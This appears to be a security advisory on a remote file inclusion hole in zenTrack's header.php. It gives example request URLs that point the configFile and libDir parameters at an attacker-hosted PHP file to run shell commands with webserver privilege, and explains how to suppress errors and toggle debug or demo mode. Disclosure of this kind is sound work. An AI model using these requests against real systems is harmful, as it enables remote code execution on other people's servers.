Description
-----------

zenTrack is a flexible system for tracking work, requests, information, 
and customer care. 
The goal of the project is to provide a method for organizing, managing, 
and archiving requests, work, and information 
in a structured and reliable method. 

Details
-------

zenTrack vulnerability exist in header.php that hold zenTrack 
configuration settings. Some code

<?
:
  $libDir = "/web/zentrack/includes";
  $rootUrl = "http://www.yourhost.com/zentrack";
  $Debug_Mode = 0;
  $Demo_Mode = "off";
  $configFile = "$libDir/configVars.php";
:
?>

This allow anyone to take advantage of this vulnerability and run remote 
command as webserver privilege. For example:

http://[victim]/zentrack/index.php?configFile=http://[attacker]/cmd.php?
cmd=pwd

or

Create translator.class anywhere in your website contain php code that 
allow you to run command. For this example I'll 
create translator.class in the test directory:

http://[victim]/zentrack/www/index.php?libDir=http://
[attacker]/test/&cmd=pwd

If you dont wan't to see any error just copy translator.class as 
zenTrack.class :)

Other vulnerability is attacker can turn zenTrack demo mode to on or set 
zenTrack debug mode that will show extra info.
